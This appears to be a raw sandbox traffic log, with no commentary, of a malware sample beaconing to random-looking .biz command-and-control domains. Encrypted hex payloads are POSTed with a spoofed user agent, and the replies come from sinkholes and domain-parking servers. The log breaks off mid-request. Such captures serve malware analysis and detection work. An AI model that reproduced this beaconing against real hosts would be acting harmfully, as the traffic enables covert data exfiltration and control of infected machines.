1:9b:7a:d6:ba:d0:63:d4:15:c6:5b:57:17:75:e7:0d:82:c5:84:59:fe:34:7b:99:71:62:72:7d:bc:e0:d5:13:fb:5d:3a:28:7e:38:37:11:60:4b:86:31:49:57:55:f5:b7:e0:e3:1d:fe:81:f2:cb:32:d6:b4:49:b1:a9:4e:a3:76:9f:af:99:4d:9c:9d:2f:9d:50:c7:ee:ff:c6:e5:16:11:66:a3:d8:ce:4a:35:80:61:19:fa:ae:5b:55:1a:f0:77:38:4d:ea:cf:a5:df:98:26:20:30:fa:be:93:b1:8e:17:ff:28:88:4d:0a:86:0d:57:15:d4:1f:80:af:0d:fd:32:c7:e2:fc:9a:68:2d:32:29:d3:ab:7a:3f:cb:2a:52:76:ed:fe:20:ff:a4:a1:d9:26:e8:74:fb:72:ed:c7:f9:f1:62:7c:88:69:78:9c:11:c3:ce:43:3a:44:ad:f6:90:9c:a3:28:b0:b2:13:4c:ad:39:00:d8:f7:25:da:7a:8d:cd:ad:59:b3:34:d8:42:43:7b:4c:55:22:3a:be:cd:ec:3d:ce:e7:e5:a5:b1:d8:2b:ad:d1:71:8b:20:65:93:3d:07:11:83:8b:ff:d7:9e:bb:59:f9:77:b6:d8:ac:9c:ea:79:40:ba:a1:dc:bf:ef:2e:18:5f:3e:b8:55:5d:b1:c7:3e:51:c2:1a:44:75:12:3d:10:af:76:fb:f9:01:dd:2f:a9:9c:bd:f7:a3:41:bb:6f:5c:4e:1e:7d:58:44:e8:0d:7a:1b:56:94:59:ce:d1:09:b2:77:64:b7:e2:8b:d1:22:49:05:1b:db:87:18:aa:80:a8:37:5b:27:6d:63:2e:ed:bc:22:4d:ba:76:3f:f0:dc:d9:2f:14:94:ec:81:a1:42:dc:8b:26:27:66:d6:1d:42:60:db:d3:04:d8:cb:49:4c:22:02:6e:04:a0:57:0b:9b:e4:16:28:5c:bd:07:4c:8a:0d:37:08:ca:48:e9:d2:96:7c:b8:c8:7b:b6:e0:96:80:e9:92:bb:95:15:24:ed:cd:2a:c8:fa:94:a9" HTTP/1.1 302 Found Date: Tue 11 Nov 2025 08:50:31 GMT Content-Length: 0 Connection: keep-alive Location: http://www.anpmnmxo.biz/grb X-Served-By: Namecheap URL Forward Server: namecheap-nginx with no response body "POST /vulouslgnlhitti HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "d3:a5:51:d7:d0:b4:4c:a8:3e:03:00:00:47:25:7f:15:47:e9:d8:6d:9c:6e:aa:34:48:25:49:9d:ee:56:46:89:b6:c5:e8:c6:c3:53:49:fc:6c:d6:71:97:50:14:87:c3:9c:98:47:df:6d:72:27:e8:7f:bd:89:f9:96:d9:7e:c7:1b:40:a9:95:23:c1:2b:31:95:a7:72:26:59:a8:2c:ca:b8:30:80:6d:58:a8:16:ae:bc:d3:1a:43:87:9e:55:cf:08:e4:33:b7:7e:b0:c5:dc:20:53:92:85:8b:b6:9e:f6:57:03:0a:52:f2:63:e9:e2:06:60:c1:07:cd:fa:e4:87:df:c1:95:36:9d:53:6d:d3:d7:e4:f4:eb:78:39:28:c9:38:b6:d7:96:1a:d5:42:55:41:c9:b7:d3:ce:69:ae:71:1b:bd:84:ef:d8:99:04:1b:11:63:ab:fb:0d:5c:8a:25:5b:e7:3b:30:88:bb:97:84:33:78:7d:dd:8f:c0:bf:01:79:6b:08:ee:6d:f9:e3:16:3c:0b:5c:58:b6:2f:46:57:6c:c4:b8:d2:89:0d:a5:aa:1c:43:fd:02:c1:72:54:4c:99:a8:b5:b3:aa:4a:48:8f:17:25:4f:54:b1:38:4e:53:f8:f0:10:a6:e7:c7:1e:53:bb:f8:1c:49:7a:8e:87:64:fa:f1:19:06:a5:51:98:f1:75:f7:1f:fd:88:0f:d3:23:63:1b:56:93:a4:78:b9:e4:b1:65:12:4a:48:ea:4b:c5:c8:4d:44:c2:29:7b:52:e1:61:77:fc:a4:ba:93:90:03:ea:8d:05:d8:b4:19:76:06:e8:cb:50:15:95:ca:9e:2b:f0:bc:70:2e:f0:00:19:34:8c:04:28:e1:a5:51:90:0d:55:ab:39:88:6c:ad:d4:5c:89:ce:72:63:55:28:95:32:0d:35:d4:18:12:61:98:54:06:dc:5b:ed:96:0d:32:0a:5c:06:02:aa:1d:1c:33:37:53:8d:ea:53:d5:00:b9:58:a0:79:ae:d7:29:38:f6:e2:67:8d:ac:96:7a:10:61:e9:72:4f:47:fe:58:af:fe:50:f0:f0:fa:f6:b9:58:89:b2:1b:81:38:1e:9e:01:e0:bc:49:be:4c:a0:17:5e:b8:71:50:b2:e9:1a:dd:b8:c6:54:f2:f7:ef:6d:c4:a4:89:b2:c5:70:36:5f:9b:96:47:29:1b:63:e4:26:52:24:7c:1f:c1:86:4c:6e:d0:64:be:f2:bb:b0:97:a8:fb:11:dc:23:5e:5b:24:d1:86:ef:1a:c3:da:79:66:62:3b:89:40:dc:a2:10:17:6e:b4:c3:8f:ff:38:5a:57:3e:d1:71:e2:f4:59:e9:14:f7:60:64:f5:4f:60:4d:cd:a0:bb:4a:23:1f:85:13:1e:09:bc:29:1a:13:3e:56:2a:aa:b1:f3:40:30:03:80:86:f3:22:0d:56:4c:c2:e8:84:56:bb:9d:62:62:ce:af:58:c6:e5:13:91:3e:c3:30:7f:13:de:30:74:9b:19:4d:cf:df:d8:29:b0:5e:84:ab:1b:3c:89:fd:32:67:99:8f:14:1c:08:1f:ed:ca:38:26:5f:60:4c:a9:b6:d4:d1:ad:59:32:9d:19:a7:e7:7a:9c:ea:85:1a:6f:29:d2:7d:80:b0:56:7d:b0:29:d2:e7:f2:51:b8:da:ef:05:15:dc:06:86:2d:fa:17:31:cb:d2:26:02:a4:dc:37:68:7c:02:23:63:a9:0e:83:87:eb:a8:2d:00:d1:81:92:b1:a7:c4:61:ff:5d:ae:d3:5d:db:7b:86:53:bd:47:6f:66:5f:00:1a:88:43:4e:b3:7f:cf:64:7e:1b:75:4a:ce:73:13:cb:c5:30:b5:e3:0d:66:dd:98:e6:a2:85:1c:cd:68:b5:fa:b8:03:9c:80:87:ec:21:8a:36:9c:ef:03:c5:e9:57:f0:4c:0a:d8:c6:3a:cb:e5:2b:7c:6f:b5:7f:33:14:fc:0d:76:1c:4d:73:10:04:31:4b:f6:83:fc:2b:08:ee:4a:64:e8:ca:3c:6b:66:02:f5:68:49:b4:1f:e4:90:f0:29:cb:02:ad:af:bd:56:42:3b:56:93:4d:aa:12:52:3a:20:46:99:aa:98:c2:3e:8c:2e:17:e8:32:85:c0:1e:a9:ff:94:16:ee:09:c5:d0:53:e0:75:32:b2:e9:0d:d2:58:4f:d8:ce:4d:78:9d:0b:a5:c3:ec:49" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:51:23 GMT Server: Apache Content-Length: 0 X-Sinkhole: malware Keep-Alive: timeout=2 max=20 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 with no response body "POST /m HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "da:14:6a:8a:30:d9:fb:72:3e:03:00:00:b9:62:b1:58:4b:1e:9f:28:88:6a:61:5c:08:d9:70:b1:88:51:d1:1b:13:f4:a7:44:c6:44:20:74:72:90:14:0a:90:3d:f0:be:7d:c2:a2:6a:2a:03:50:98:06:38:46:a5:46:71:9d:78:60:48:be:f2:32:08:14:a9:cc:cd:43:6f:55:91:fe:05:3f:a9:4b:5d:df:f3:f2:63:e0:20:ae:4e:7b:1b:4b:15:af:eb:52:6c:07:83:18:3e:11:1a:23:2b:54:d0:06:2d:e7:47:8d:e3:bf:e8:94:91:de:b9:05:86:cd:0f:00:6a:0f:f1:c2:89:8f:d6:5e:d1:d6:e7:bf:36:87:6a:3f:2d:81:6b:87:a5:e7:dc:45:d0:16:dc:24:4c:26:d5:a2:b7:d5:d7:43:a3:af:3d:3f:80:e4:c1:fe:10:e5:5b:ef:e5:15:58:71:22:62:38:7e:87:b4:46:bb:bb:eb:af:2f:b8:99:1a:5b:57:cb:81:75:5d:07:86:7f:f6:07:54:c9:0a:9c:e0:88:7c:44:04:fc:ca:a2:73:0b:8e:28:2d:ef:fe:23:cd:ba:7d:50:fa:25:07:92:16:41:fb:3c:bf:c4:f4:23:76:4c:14:7f:b6:d3:27:3e:18:de:da:84:64:58:7c:d5:d1:e5:01:e7:bc:8c:ab:d2:3e:4c:6e:0c:3d:20:96:73:30:c2:75:ed:a1:53:2e:96:ce:1b:61:a0:35:91:dd:0f:13:b2:b8:f2:d0:cb:3a:01:36:c7:a9:83:5a:ae:65:77:a5:23:7a:d7:99:ed:ab:33:42:98:bd:e3:92:b8:3a:22:5f:4b:ba:6b:ae:42:8c:26:4f:d0:9b:1f:6e:a5:b9:14:08:8d:d2:4c:4c:fb:d6:8c:93:cd:20:d8:27:e0:fc:5a:32:86:07:5b:73:f1:54:c1:5b:f3:5b:6b:b8:92:db:33:c1:c6:ac:75:d8:da:79:37:1c:ea:32:c6:27:fc:b5:3e:63:9b:80:f3:13:04:b6:8f:91:56:ec:f8:cc:14:e1:ab:33:d2:75:b2:c0:5f:16:39:f9:da:82:e8:6e:9f:77:13:fa:c4:d7:d4:ae:31:cc:43:cb:53:e7:93:00:58:12:e4:70:97:8f:d6:fb:e8:de:a8:4f:ed:12:19:b0:7f:a8:41:91:5f:08:3a:0b:3d:b8:a5:97:10:2b:3f:3a:7d:05:c0:82:a0:07:ab:a3:a5:8c:83:71:1a:d2:18:17:9d:f8:99:1b:fe:37:74:e0:9d:ba:33:b4:7a:fc:f0:c4:48:de:7d:be:2f:c4:18:58:e6:91:1e:72:36:e4:0c:4c:5d:74:91:1a:8c:19:ab:e1:f8:d6:12:ef:e0:05:ee:26:9b:84:03:2b:d3:f2:c8:cb:c2:e0:04:e9:c0:c7:a0:f0:26:f0:ad:c6:7a:f7:82:4e:37:57:97:78:3e:06:77:91:43:1b:de:c8:ae:2d:28:78:1e:f8:e6:b0:68:53:e6:1d:a1:b7:8b:7a:17:5e:29:f3:0a:b2:a4:16:98:fa:18:82:ae:b1:9d:53:0b:a8:a5:48:ec:5a:81:d0:27:39:f6:64:88:de:6c:21:88:87:d0:c5:69:da:fd:52:18:40:28:7b:3d:34:9d:41:3a:49:e0:d2:bb:d5:02:07:e7:13:61:bd:84:ff:6b:cf:69:69:57:5d:bb:74:7e:12:43:25:fa:e0:a7:d2:62:90:19:51:cd:fd:50:a9:24:5a:87:50:71:12:99:51:fc:15:bf:65:a0:7b:b2:12:29:b5:84:99:67:b8:79:92:7e:f6:fd:c0:bc:8f:28:e7:20:5e:3a:43:ba:e8:a6:07:5a:11:35:6b:72:9b:00:52:88:9f:c9:4a:b1:05:7f:1b:fa:a6:d1:b2:83:4a:1f:f2:10:c9:0e:18:e0:eb:de:b3:84:2e:98:13:e1:07:34:90:44:2d:0f:f5:40:a3:68:6d:1b:8f:54:4f:72:1b:de:fe:10:40:fe:e6:c4:a6:bc:bd:b0:e7:fd:75:44:0f:c5:9f:95:81:aa:98:d9:92:c1:20:fb:a3:30:5f:ee:08:c0:45:26:8d:40:f1:55:a7:61:2b:a0:ce:62:00:d3:b6:6f:2d:b0:76:73:8e:1c:85:b3:ff:fd:13:d8:2b:12:1a:57:af:fe:07:82:49:d4:be:06:6d:7d:b3:0d:12:78:1b:4b:8a:8c:d7" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:51:23 GMT Server: Apache Content-Length: 0 X-Sinkhole: malware Keep-Alive: timeout=2 max=19 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 with no response body "POST /uxfbf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "c1:45:df:d6:0f:b6:c1:d2:3e:03:00:00:2e:09:df:2d:3f:55:7f:33:70:76:6e:29:0a:0c:52:00:d7:4e:5c:25:a7:46:c8:42:66:2d:1f:b2:43:dd:d8:a4:70:cc:3b:42:80:e9:be:61:58:ed:f2:c0:f0:bc:f3:b3:b0:c4:6c:6d:b1:b2:b1:8b:b3:6b:43:ab:4f:6f:be:a1:97:62:f1:66:9d:32:dd:56:22:22:42:8c:e5:83:da:b1:15:f5:e3:73:20:db:c8:79:cd:9f:67:16:1c:16:79:25:98:74:7d:dc:22:cb:ae:f8:d1:64:87:51:be:31:05:aa:db:99:39:9a:b6:9c:4f:83:cf:9a:3d:88:58:96:6e:35:2e:13:f1:4a:7d:23:4e:cc:95:8c:cf:6e:77:66:f2:0e:33:f8:76:14:29:5e:40:1b:2e:52:f3:71:b2:19:dc:5f:fe:54:3d:ba:23:87:6f:04:69:fb:1a:eb:a2:af:dc:f3:b2:6c:cd:8c:b9:d3:b6:b5:b9:8a:43:c3:1c:91:c9:ea:9e:46:ad:8e:4b:bf:03:c6:e7:0b:c6:22:bc:75:58:98:3f:15:b6:73:d9:fd:56:e6:37:4b:fb:bc:7b:00:71:c6:e2:9b:87:97:64:2f:4e:f9:5f:42:21:74:47:d7:28:b4:9e:dc:3c:7e:46:32:8f:19:65:78:f6:69:23:9a:6e:5d:bf:2b:dc:93:42:23:7e:d1:b3:36:dc:ff:d0:c7:ff:ac:12:3a:c8:0a:fa:7c:f5:ed:27:70:36:18:94:5d:0c:13:b0:b4:4e:74:f5:d1:83:ec:98:9a:14:82:31:fe:0a:90:3e:09:06:8d:5b:25:f5:19:9b:69:db:29:c7:e6:c1:2f:d9:d8:d9:0c:b7:00:b4:85:c0:15:08:c1:41:f3:41:4e:ae:b9:97:17:41:1f:4e:aa:0c:a3:76:52:5d:9b:84:51:1c:56:9e:f2:61:cc:97:21:e9:1e:0a:fc:e1:2e:65:e6:67:29:5d:bc:c6:ce:7c:99:1f:4c:c7:6d:29:c5:70:2d:97:c3:67:67:d6:03:33:b5:d4:2b:ed:9e:5d:68:a4:d2:9b:3c:13:a7:f7:05:8a:8b:86:e3:71:18:55:53:e3:75:2b:0b:4f:f3:71:11:d9:b1:92:1f:4c:25:9e:9a:fe:17:c5:bd:7a:2d:79:c9:9a:8d:82:60:36:fe:95:03:de:da:90:92:7c:18:ca:95:07:de:98:c5:26:c5:55:6e:94:51:3d:93:02:2f:f3:5d:86:61:e7:82:c9:5d:d9:82:6f:70:a8:09:61:f2:f0:9c:70:84:b5:a9:c6:a7:d1:3b:16:6f:96:e0:d1:cc:d8:6f:01:c8:df:84:48:71:88:81:87:89:1d:2d:d5:cc:8e:66:bb:d4:f0:6e:00:79:fd:53:8b:d2:2c:9e:0a:c0:f1:e9:eb:bd:a0:c7:fe:57:3c:ff:b4:a9:99:27:8d:61:40:4e:e6:d7:45:0e:1c:29:21:5d:ad:33:6e:fe:58:20:53:f4:98:59:60:42:ff:f8:64:86:bc:98:12:66:f1:e9:19:fd:7c:25:bd:7e:af:a8:27:2d:ce:98:ed:fa:0a:c8:ac:2a:7d:30:ab:36:ea:ff:d2:23:e5:1c:f6:13:18:05:0e:6e:6b:e5:07:c6:99:6e:b7:39:d9:61:8a:85:61:b3:2b:35:b1:1e:e1:46:6f:a7:c6:da:e4:cc:fb:35:d3:db:57:65:80:21:c4:ba:0e:06:40:46:d8:48:b2:d4:ec:24:61:33:40:7d:37:20:67:fe:93:9d:ab:92:bd:16:bc:6a:f2:05:b8:03:26:84:21:b6:c6:83:42:f9:8a:ac:5a:31:8e:8c:22:2b:49:1d:4b:67:3a:68:32:eb:91:b5:ee:13:a8:61:f3:80:b5:ac:54:f0:7e:10:b8:b2:d5:5d:6b:6d:f2:3e:2f:8b:7b:07:f6:10:51:74:e4:8e:84:be:39:ed:54:1b:53:20:e2:01:6a:80:9d:a9:ee:e5:2a:bf:bf:9d:ac:6f:7e:ab:0c:b3:2f:22:74:e5:7d:05:74:de:e7:ff:6a:04:f9:32:aa:5d:b8:1f:e2:98:0f:30:9c:00:7d:9a:21:1c:08:60:58:2a:15:46:cd:9f:85:a1:24:21:6e:8b:2b:0f:a1:19:b9:37:5d:ee:ce:ad:29:a1:38:13:2e:e4:7c:9f:33:e0:8f:fd:5e:21:22:15" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:50:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store max-age=0 Accept-CH: Sec-CH-UA Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com") ch-ua-arch=(self "https://*.parklogic.com") ch-ua-bitness=(self "https://*.parklogic.com") ch-ua-full-version=(self "https://*.parklogic.com") ch-ua-full-version-list=(self "https://*.parklogic.com") ch-ua-mobile=(self "https://*.parklogic.com") ch-ua-model=(self "https://*.parklogic.com") ch-ua-platform=(self "https://*.parklogic.com") ch-ua-platform-version=(self "https://*.parklogic.com") ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>33633A36383A37343A36643A36633A32303A36633A36313A36653A36373A33643A32323A36353A36653A32323A33653A33633A36383A36353A36313A36343A33....... "POST /x HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "f9:31:72:de:43:8d:f0:f2:3e:03:00:00:63:e9:22:bf:87:03:e5:2a:27:44:7a:d7:01:71:bb:24:27:a7:f9:fe:70:a9:13:4f:2d:ec:82:43:5e:ee:bc:22:68:7e:45:3b:80:33:6d:8a:77:fa:69:e8:ea:32:da:39:bd:95:d2:d9:54:66:8c:68:46:41:7d:50:32:66:6b:d2:c1:c6:c3:d6:fb:6e:15:4d:fe:06:8d:66:0e:15:bb:2e:d1:18:fc:fb:e6:6f:e9:23:01:98:c4:9c:ec:30:f7:b7:b7:2f:bf:b7:ac:44:dd:02:84:c1:6f:f6:d6:8e:d1:10:65:3d:b5:ba:51:14:83:96:4f:97:54:fd:70:79:8e:4a:04:1e:e7:20:b1:82:ee:3e:66:25:28:36:4a:09:8a:2e:3b:3b:3e:81:b0:0c:43:f5:36:1e:5c:73:97:88:d8:92:3d:58:1d:6e:2c:c3:78:37:ea:48:8d:f2:2b:0d:d0:07:5d:ea:05:8f:5e:ad:5f:e2:a6:0a:58:a4:8b:86:d9:52:18:da:fc:04:6a:88:cc:6c:d7:fa:46:ca:84:8e:70:7f:0b:51:18:06:d9:d0:b7:1b:a2:3a:f5:af:07:15:5f:c1:4a:d7:a6:8c:05:62:af:e8:85:db:aa:6b:31:56:d7:f3:b8:f0:14:4a:16:56:31:00:cf:ff:e3:9d:5e:0f:96:d7:1c:94:4f:9e:61:42:ff:5a:65:ff:fd:7c:1a:b7:13:59:c1:bf:97:3c:1d:d3:45:57:de:7d:88:dc:bb:92:13:eb:6f:f7:6d:c0:1f:7c:e1:1d:a6:dd:e8:63:1c:b7:9e:c6:0d:62:5a:b2:b0:20:e1:da:06:8a:e3:ce:4c:31:4c:3a:9f:97:20:08:7d:51:42:1f:98:06:0e:27:e1:89:b5:64:cc:91:69:3f:33:d8:f6:34:06:0d:96:36:d9:49:87:34:90:4c:74:d5:1e:61:8e:6b:9d:12:86:5c:ec:a6:aa:33:7f:dc:bb:76:0c:9c:5e:fe:53:d1:c2:6b:cf:ef:a4:90:d8:32:21:e3:60:b3:0b:ce:27:db:53:51:a2:a5:68:63:94:49:32:14:1d:f5:7d:88:4a:bd:a2:d2:a6:ce:5f:19:2f:ce:94:c9:fe:57:3e:c0:54:51:08:86:d5:6c:b8:c4:06:7d:33:d5:de:90:e2:65:58:2d:25:65:8f:66:16:06:00:44:ce:19:55:05:29:f0:c8:2c:37:24:d7:b3:e1:86:75:77:22:a4:bc:ce:81:5c:c2:02:d1:7c:51:e3:d8:a1:31:6f:c3:45:d4:7e:48:e8:47:3b:08:82:91:c0:c7:49:4e:00:81:db:22:a2:98:f0:00:91:2d:36:ce:51:fa:1f:26:8a:31:22:c7:e2:ec:02:95:24:b1:3b:3b:a9:b8:cf:f9:ad:2a:04:9d:f2:df:32:d8:74:1f:5d:79:56:cf:1c:a9:b6:26:b7:bd:31:5e:4d:6e:1e:18:51:74:26:1e:97:64:93:e4:0d:af:cc:62:41:68:4f:e4:c2:39:70:33:8e:c6:98:3b:61:03:24:05:7a:ad:84:32:bf:2c:f3:ee:44:28:f7:28:47:cd:dc:b2:5e:8c:d1:48:44:82:34:3e:fc:f5:90:c5:d1:4d:66:e4:8a:de:ae:59:97:cf:70:82:fa:7b:3a:f0:f9:7a:d2:f8:1d:1e:e6:f1:ea:3f:ce:48:24:56:24:5f:fc:7b:b9:24:3e:07:a7:6f:35:43:81:a6:48:f1:0d:91:c5:da:90:d6:89:37:44:92:db:37:98:1d:44:4d:0f:46:e4:99:70:c1:68:9e:21:e6:b0:48:c5:ca:e5:8e:e2:d1:00:20:f8:4a:be:94:31:b5:dc:82:5e:c9:3b:18:92:ea:b1:80:40:d5:73:05:ba:e0:a7:47:87:d4:0b:0f:4a:9f:13:13:dc:3c:24:5c:d0:b8:2f:f4:63:75:83:6a:16:bc:3f:61:ff:eb:c7:fc:4f:b2:7d:60:4e:d7:77:8e:03:af:df:f4:b2:2c:8a:49:39:28:f6:1f:a3:02:bc:9f:f2:86:99:31:43:6e:b7:55:6f:ab:d5:5f:ab:ef:85:94:3e:74:2f:4a:bf:17:a1:15:4b:76:1c:74:3e:0c:8e:6f:c1:e3:c3:83:22:c8:68:64:c5:7a:54:e8:28:b4:99:55:4a:cd:95:e1:39:0d:56:c9:af:7e:70:ea:15" HTTP/1.1 200 OK Date: Tue 11 Nov 2025 08:50:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-store max-age=0 Accept-CH: Sec-CH-UA Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Mobile Sec-CH-UA-Model Sec-CH-UA-Platform Sec-CH-UA-Platform-Version Sec-CH-UA-WoW64 Permissions-Policy: ch-ua=(self "https://*.parklogic.com") ch-ua-arch=(self "https://*.parklogic.com") ch-ua-bitness=(self "https://*.parklogic.com") ch-ua-full-version=(self "https://*.parklogic.com") ch-ua-full-version-list=(self "https://*.parklogic.com") ch-ua-mobile=(self "https://*.parklogic.com") ch-ua-model=(self "https://*.parklogic.com") ch-ua-platform=(self "https://*.parklogic.com") ch-ua-platform-version=(self "https://*.parklogic.com") ch-ua-wow64=(self "https://*.parklogic.com") with response body ==>33633A36383A37343A36643A36633A32303A36633A36313A36653A36373A33643A32323A36353A36653A32323A33653A33633A36383A36353A36313A36343A33....... "POST /timgrnolbnjx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> "f9:25:b8:ae:ed:3b:de:41:3e:03:00:00:6b:b7:22:21:7c:2c:ad:9b:65:f4:dc:82:d1:07:39:25:f3:ae:3e:66:d7:93:37:92:75:1f:b3:17:f3:1f:6b:61:3a:51:df:ff:9f:b8:34:05:63:72:f9:e4:f5:65:18:43:5f:54:eb:4a:fc:d5:a9:7b:58:dc:01:1b:b9:72:c5:62:a6:ec:9c:ae:e8:cc:63:f5:39:38:bb:dd:c9:d8:06:cc:ba:aa:f2:8e:16:2d:68:74:d3:ad:ec:7e:af:15:06:1f:1d:83:df:d7:af:4c:fb:1b:e4:2b:af:c5:87:89:91:7e:f4:9d:fa:2a:a9:37:7b:93:12:8f:4d:2c:ec:99:b8:5d:40:bf:a8:ee:b3:7d:d5:fe:84:16:e8:b2:17:e1:3b:66:5f:ca:8f:ce:cd:88:83:90:10:93:00:66:e8:2f:14:47:2c:f1:54:bf:fd:ee:c0:97:77:b6:a6:2c:5f:16:ce:cf:4e:b7:df:4f:a1:de:6c:04:73:83:5b:81:71:1a:00:aa:98:1a:c7:c6:cd:4e:11:e8:c5:cc:f6:a9:86:e0:13:97:5b:d8:20:f3:2e:a0:ff:85:6c:7b:74:c9:9c:64:0f:a2:c0:0b:36:b6:0a:0c:6e:e3:e1:35:a9:48:49:07:91:d4:2a:51:81:d9:08:3e:97:bb:84:6c:c3:63:40:f4:88:d2:d7:bd:52:32:0e:d3:ce:cc:83:f8:4e:32:c9:d3:9e:60:4c:8c:fb:39:2c:be:a2:d1:67:78:61:78:0e:a6:a8:4c:0a:d2:cb:0e:47:c9:f9:d0:07:6a:24:dd:7a:7c:ed:44:9a:cd:b8:0e:f0:34:e9:e5:dd:36:f1:40:41:3e:c9:37:3a:28:6e:48:20:0d:21:dc:b4:57:04:60:d2:e6:71:a9:a1:1b:d5:50:18:7c:00:31:06:7d:e9:0a:83:72:39:f8:c0:a6:b4:8b:33:61:55:08:ef:3a:56:bc:01:90:c0:f2:d1:ac:b6:d6:f4:07:9f:a1:ac:72:bb:e4:b3:dd:bd:a9:a0:6c:f6:78:cb:1b:2b:57:cb:82:8d:d8:6c:31:e5:56:a0:c7:53:be:c7:a7:18:a0:3f:f6:ac:b1:d4:d2:38:bb:d8:e6:69:a6:fb:69:c8:4b:a4:73:b3:e2:5e:c1:61:40:da:e4:97:fd:d8:dc:75:f2:cd:f4:67:c8:23:f0:a9:47:3f:c0:6b:47:93:31:70:b1:1a:3b:bc:7e:9d:64:ad:33:e3:c3:14:25:7a:a5:37:04:af:04:c8:33:3f:e0:c9:72:f9:79:ea:9f:e3:17:8b:b8:63:92:80:22:7f:f3:12:4e:9c:f0:59:06:86:88:2c:02:c9:f3:e0:da:66:70:68:fc:cd:3d:e9:0c:ad:8c:ad:85:03:07:d8:07:0c:e6:b4:af:c2:86:c4:f5:ca:68:c3:17:f7:30:df:9f:1e:f1:8c:eb:b1:f8:c5:0a:aa:09:f6:21:c7:ea:b7:57:c3:58:ec:5f:d9:2c:27:95:bf:f6:42:34:0e:83:4c:59:1a:dc:cc:d4:30:73:31:f6:90:0a:55:3f:fe:75:08:7e:da:c8:46:35:a7:e1:04:8a:da:65:d1:43:e6:e3:e9:00:83:05:56:5d:ab:b5:fc:3a:f9:ac:d4:28:a6:7d:23:08:5f:fb:6c:18:27:95:0b:7b:ec:ad:0c:77:0e:aa:66:1e:44:1b:c5:0a:59:a0:f3:f3:1d:3c:72:7d:c1:0b:e2:e4:b2:a2:b9:f6:c7:5b:91:7e:d3:49:86:c6:11:26:01:fd:4b:0e:07:95:39:94:3d:10:cb:94:55:67:ac:4b:81:d0:60:b3:43:c4:a9:99:4a:2f:46:df:15:d4:f3:bd:b6:fb:1a:a9:ec:42:1b:b4:3c:84:11:cf:95:cd:b9:8e:3e:d7:09:29:29:a5:db:8e:53:76:b1:d3:31:01:44:e3:11:8a:61:7b:e7:c6:63:f4:fd:e3:a4:aa:d8:3f:b7:c4:a6:30:60:49:a1:06:5a:9a:73:c1:2a:13:50:3d:f9:b1:b9:2a:d3:84:23:22:11:37:be:4c:21:a8:ef:62:30:8c:82:a9:3b:bb:2c:b8:26:d9:be:3f:50:68:2b:a2:a1:66:b3:93:c9:db:cf:cb:4e:61:41:61:0e:c5:90:4e:ee:04:fb:b2:6f:d7:e7:34:13:98:f3:69:18:70:db:cd:07:2c:a5:e5:2d:bb" HTTP/1.1 200 OK Server: nginx Date: Tue 11 Nov 2025 08:50:44 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body "POST /ihsriapotht HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" with payload::==> 